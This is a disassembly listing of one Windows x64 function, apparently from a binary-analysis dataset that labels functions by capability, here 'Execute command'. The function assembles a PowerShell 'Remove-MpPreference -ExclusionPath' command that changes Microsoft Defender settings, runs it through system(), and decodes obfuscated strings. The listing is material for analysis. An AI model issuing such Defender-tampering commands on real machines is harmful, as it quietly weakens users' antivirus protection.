Function at 0x140008840
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xb0
mov rdx, qword [rdx + 0x10]
lea rcx, [rbp + 0x1f]
call fcn.140005f40
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x37
jb 0x140008908
lea rax, [r8 + 0x37]
mov qword [rbx + 0x10], rax
mov rdi, rbx
cmp rcx, 0xf
jbe 0x14000889c
mov rdi, qword [rbx]
lea rax, [0x14000c687]
mov r15d, 0x37
lea rsi, str.powershell__Command_Remove_MpPreference__ExclusionPath
cmp rax, rdi
jbe 0x1400088d0
lea rax, [rdi + r8]
cmp rsi, rax
ja 0x1400088d0
cmp rdi, rsi
ja 0x1400088c8
xor r14d, r14d
jmp 0x1400088d3
mov r14, rdi
sub r14, rsi
jmp 0x1400088d3
mov r14, r15
inc r8
lea rcx, [rdi + 0x37]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
sub r15, r14
lea rdx, [rsi + 0x37]
add rdx, r14
lea rcx, [rdi + r14]
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14000892d
mov r15d, 0x37
mov qword [rsp + 0x28], r15
lea rsi, str.powershell__Command_Remove_MpPreference__ExclusionPath
mov qword [rsp + 0x20], rsi
mov edx, r15d
mov rcx, rbx
call fcn.1400082c0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 1], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xf], xmm1
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov rdx, qword [rbp + 0x37]
cmp rdx, 0xf
jbe 0x14000899c
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008997
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008997
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000939c
movdqa xmm0, xmmword [0x14000c720]
movdqu xmmword [rbp + 0x2f], xmm0
mov byte [rbp + 0x1f], 0
lea rcx, [rbp - 1]
cmp qword [rbp + 0x17], 0xf
cmova rcx, qword [rbp - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x140008a6e
movdqa xmm0, xmmword [0x14000cd70]
mov dword [rbp - 0x11], 0x9896d1b0
mov dword [rbp - 0xd], 0xff40f672
mov word [rbp - 9], 0xf1b1
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0xa7c
mov eax, dword [rdx + rcx]
mov ebx, 0xa48
add rbx, rcx
test al, 1
jne 0x140008a5e
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x1a], 1
lea rax, [rbx + 0x19]
lea rcx, [rbp - 8]
cmp rbx, rcx
ja 0x140008a3c
lea rcx, [rbp - 0x21]
cmp rax, rcx
jb 0x140008a3c
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp - 0x11]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rbp - 9]
mov word [rbx + 0x18], ax
jmp 0x140008a51
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp - 0x11]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rbp - 9]
mov word [rbx + 0x18], ax
lea rcx, [0x14000bb20]
call fcn.14000944c
nop
mov rcx, rbx
call fcn.140008140
mov rcx, rbx
call fcn.140001010
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x14000cde0]
mov word [rbp - 0x29], 0xb151
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0xa1c
mov eax, dword [rcx + rdi]
mov ebx, 0xa08
test al, 1
jne 0x140008ae9
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x12], 1
lea rax, [rcx + 0x11]
lea rdx, [rbp - 0x28]
cmp rcx, rdx
ja 0x140008ad1
lea rdx, [rbp - 0x39]
cmp rax, rdx
jb 0x140008ad1
movups xmmword [rcx], xmm0
movzx eax, word [rbp - 0x29]
mov word [rcx + 0x10], ax
jmp 0x140008adc
movups xmmword [rcx], xmm0
movzx eax, word [rbp - 0x29]
mov word [rcx + 0x10], ax
lea rcx, [0x14000bb00]
call fcn.14000944c
nop
lea r11, [rbx + rdi]
mov rcx, r11
call fcn.1400091c0
mov rdx, r11
mov rcx, rsi
call fcn.140006370
lea rdx, [0x140006550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x17]
cmp rdx, 0xf
jbe 0x140008b4f
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b4a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000939c
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret